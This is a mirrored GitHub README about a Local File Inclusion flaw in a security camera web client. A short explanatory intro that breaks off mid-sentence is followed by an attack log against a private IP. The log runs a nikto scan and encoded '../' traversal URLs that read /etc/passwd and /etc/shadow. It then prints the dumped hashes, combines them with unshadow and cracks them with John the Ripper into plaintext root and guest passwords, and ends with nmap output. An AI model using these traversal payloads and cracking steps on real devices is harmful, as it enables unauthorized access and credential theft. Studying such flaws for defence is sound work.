Giter VIP home page Giter VIP logo

web-client-security-camera's Introduction

Web Client Security Camera

A Local File Inclusion (LFI) vulnerability is a type of vulnerability that occurs when an application is able to include files from the local file system without proper validation or sanitization. This vulnerability can be exploited by attackers to gain unauthorized access to sensitive information on the server, such as configuration files and log files.

In the case of a web client security camera page, an LFI vulnerability could allow an attacker to access the camera's configuration files, which may contain sensitive information such as login credentials for the camera's control panel or network information. An attacker could also potentially access and view the camera's live feed if the camera's feed is stored on the server.

An attacker could exploit this vulnerability by manipulating the camera's web client to include files from the local file system. This could be done by injecting malicious code into the camera's web client, such as through a URL parameter or a form field.

To prevent LFI vulnerabilities, it is important to properly validate and sanitize user input on the camera's web client. It's also important to use a secure file transfer protocol (SFTP) and restrict file types to only those that are intended to be included. It's also

  • root@kali:~$ nikto -h 192.168.1.11


  • Target IP: 192.168.1.11

  • Target Port: 80


  • /%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd: The Web_Server_4D is vulnerable to a directory traversal problem.

  • /../../../../../../../../../../etc/passwd: It is possible to read files on the server by adding ../ in front of file name.

  • /%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/%2e%2e/etc/passwd: Web server allows reading of files by sending encoded '../' requests. This server may be Boa +(boa.org).

  • OSVDB-3133: ////////../../../../../../etc/passwd: Xerox WorkCentre allows any file to be retrieved remotely.


  • http://192.168.1.11/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fpasswd

  • http://192.168.1.11/%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2f..%2fetc%2fshadow

  • /etc/passwd

  • root:x:0:0:root:/:/bin/sh

  • guest:x:1000:1000:Linux User,,,:/:/bin/sh

  • /etc/shadow

  • root:3kzd9/xqjB.3k:16772:0:99999:7:::

  • guest:IhQlNqID7twUk:16772:0:99999:7:::

  • root@kali:~$ unshadow /root/Desktop/passwd /root/Desktop/shadow > /root/Desktop/status

  • root:3kzd9/xqjB.3k:0:0:root:/:/bin/sh

  • guest:IhQlNqID7twUk:1000:1000:Linux User,,,:/:/bin/sh

  • root@kali:~$ john /root/Desktop/status

  • Loaded 2 password hashes with 2 different salts (descrypt, traditional crypt(3) [DES 128/128 SSE2])

  • Proceeding with wordlist:/usr/share/john/password.lst, rules:Wordlist

  • 1001chin (root)

  • 123456 (guest)

  • root@kali:~$ map -sS -sV 192.168.1.11

  • Starting Nmap 7.91 ( https://nmap.org )

  • PORT STATE SERVICE VERSION

  • 80/tcp open tcpwrapped

  • 8080/tcp open http Mini web server 1.0 (ZTE ZXV10 W300 ADSL router http config)

  • 58000/tcp open http CPE Server TR-069 remote access 1.0 |_http-server-header: CPE-SERVER/1.0 Supports only GET |_http-title: Site doesn't have a title.

  • 17000/tcp open unknown | fingerprint-strings: | DNSStatusRequestTCP, DNSVersionBindReqTCP, GetRequest, HTTPOptions, RPCCheck, RTSPRequest, SSLSessionReq, TLSSessionReq, TerminalServerCookie: | head | GenericLines: | head | 1111 | 1111 | 1111 | 1111 | Help, NULL: | head | 1111 |_ 1111

web-client-security-camera's People

Contributors

0x01369 avatar

Stargazers

 avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar  avatar

Watchers

 avatar

Recommend Projects

  • React photo React

    A declarative, efficient, and flexible JavaScript library for building user interfaces.

  • Vue.js photo Vue.js

    ๐Ÿ–– Vue.js is a progressive, incrementally-adoptable JavaScript framework for building UI on the web.

  • Typescript photo Typescript

    TypeScript is a superset of JavaScript that compiles to clean JavaScript output.

  • TensorFlow photo TensorFlow

    An Open Source Machine Learning Framework for Everyone

  • Django photo Django

    The Web framework for perfectionists with deadlines.

  • D3 photo D3

    Bring data to life with SVG, Canvas and HTML. ๐Ÿ“Š๐Ÿ“ˆ๐ŸŽ‰

Recommend Topics

  • javascript

    JavaScript (JS) is a lightweight interpreted programming language with first-class functions.

  • web

    Some thing interesting about web. New door for the world.

  • server

    A server is a program made to process requests and deliver data to clients.

  • Machine learning

    Machine learning is a way of modeling and interpreting data that allows a piece of software to respond intelligently.

  • Game

    Some thing interesting about game, make everyone happy.

Recommend Org

  • Facebook photo Facebook

    We are working to build community through open source technology. NB: members must have two-factor auth.

  • Microsoft photo Microsoft

    Open source projects and samples from Microsoft.

  • Google photo Google

    Google โค๏ธ Open Source for everyone.

  • D3 photo D3

    Data-Driven Documents codes.